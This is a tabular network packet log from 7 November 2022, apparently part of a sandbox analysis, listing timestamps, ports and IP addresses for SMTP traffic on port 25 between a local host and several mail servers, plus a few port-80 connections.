Nov 7, 2022 22:24:43.104682922 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104701042 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.104720116 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105117083 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105144024 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105165005 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105182886 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105201006 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105218887 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105232954 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105247021 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105268955 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105288029 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105309010 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105331898 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105350018 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105369091 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105405092 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105551958 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105575085 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105595112 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105617046 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105637074 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105655909 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105676889 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105696917 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.105716944 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.114986897 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.144246101 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.170747042 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.180339098 CET	25	49790	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.209302902 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.232947111 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.256176949 CET	80	49794	81.17.29.150	192.168.2.5
Nov 7, 2022 22:24:43.256226063 CET	80	49794	81.17.29.150	192.168.2.5
Nov 7, 2022 22:24:43.256527901 CET	49794	80	192.168.2.5	81.17.29.150
Nov 7, 2022 22:24:43.263411045 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263453960 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263478041 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263497114 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263515949 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263534069 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263555050 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263566017 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263570070 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.263586044 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263624907 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.263636112 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.263696909 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.263727903 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.317653894 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317738056 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317760944 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317786932 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317790985 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.317814112 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317837000 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317847967 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.317847967 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.317859888 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317879915 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.317886114 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317898035 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.317912102 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317934990 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317939043 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.317959070 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317971945 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.317982912 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.317989111 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.318006992 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.318027973 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.318042040 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.318051100 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.318074942 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.318088055 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.318099022 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.318114996 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.318124056 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.318133116 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.318149090 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.318161964 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.318173885 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.318181992 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.318206072 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.318228960 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.328541040 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.328649998 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.372123003 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372154951 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372172117 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372190952 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372210026 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372221947 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372236013 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372234106 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372251987 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372270107 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372273922 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372282982 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372323990 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372340918 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372366905 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372387886 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372390985 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372406960 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372426033 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372427940 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372461081 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372495890 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372502089 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372512102 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372529984 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372571945 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372577906 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372597933 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372639894 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372649908 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372657061 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372697115 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372725010 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372750998 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372767925 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372807026 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372812986 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372833967 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372874022 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372888088 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372905970 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372925997 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372945070 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372961998 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372980118 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.372988939 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.372997046 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373014927 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373044014 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373044968 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373080969 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373080969 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373122931 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373141050 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373161077 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373174906 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373179913 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373198032 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373214960 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373224020 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373286009 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373287916 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373286009 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373331070 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.373394012 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373411894 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.373502016 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.417471886 CET	49790	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.417519093 CET	49794	80	192.168.2.5	81.17.29.150
Nov 7, 2022 22:24:43.426274061 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426311970 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426336050 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426373959 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426424980 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426522970 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426548004 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426570892 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426595926 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426597118 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426620007 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426623106 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426635981 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426644087 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426660061 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426675081 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426682949 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426691055 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426707983 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426718950 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426742077 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426772118 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426811934 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426832914 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426857948 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.426908016 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426908016 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.426975012 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427000046 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427021027 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427031994 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427045107 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427057981 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427068949 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427081108 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427100897 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427114964 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427165031 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427189112 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427212000 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427232027 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427249908 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427257061 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427265882 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427279949 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427290916 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427304983 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427311897 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427329063 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427335024 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427351952 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427357912 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427376986 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427385092 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427412987 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427428007 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427438974 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427463055 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427484989 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427500010 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427510023 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427520990 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427534103 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427541018 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427556992 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427567005 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427587032 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427606106 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427618027 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427676916 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427737951 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427741051 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427764893 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427788019 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427809000 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427819014 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427834988 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427836895 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427860022 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427867889 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427885056 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427887917 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427907944 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427911043 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427931070 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427932024 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427954912 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427963018 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427977085 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.427978039 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.427998066 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.428000927 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428021908 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.428025007 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428046942 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428054094 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.428071022 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428073883 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.428092003 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.428128004 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.428142071 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428167105 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428189993 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428211927 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428236961 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428257942 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428282976 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428306103 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428328991 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428353071 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428378105 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428400040 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428423882 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428448915 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428472996 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428535938 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428559065 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428654909 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428678036 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428702116 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428724051 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428749084 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428771019 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428869009 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428889990 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428913116 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.428940058 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.480353117 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.480525017 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.480550051 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.480567932 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.480707884 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.480776072 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.480863094 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.481129885 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.481314898 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.481338024 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.481424093 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.481852055 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482296944 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482321024 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482336998 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482600927 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482625008 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482695103 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482712030 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482728958 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482830048 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482850075 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482867956 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482902050 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482944965 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482961893 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.482978106 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483161926 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483182907 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483200073 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483217001 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483232975 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483249903 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483266115 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483283043 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483387947 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483407021 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483463049 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483479977 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483498096 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483514071 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483530998 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483635902 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483655930 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483673096 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483705044 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483783007 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483802080 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483818054 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483937979 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483958006 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483974934 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.483990908 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484006882 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484245062 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484281063 CET	25	49788	142.250.150.26	192.168.2.5
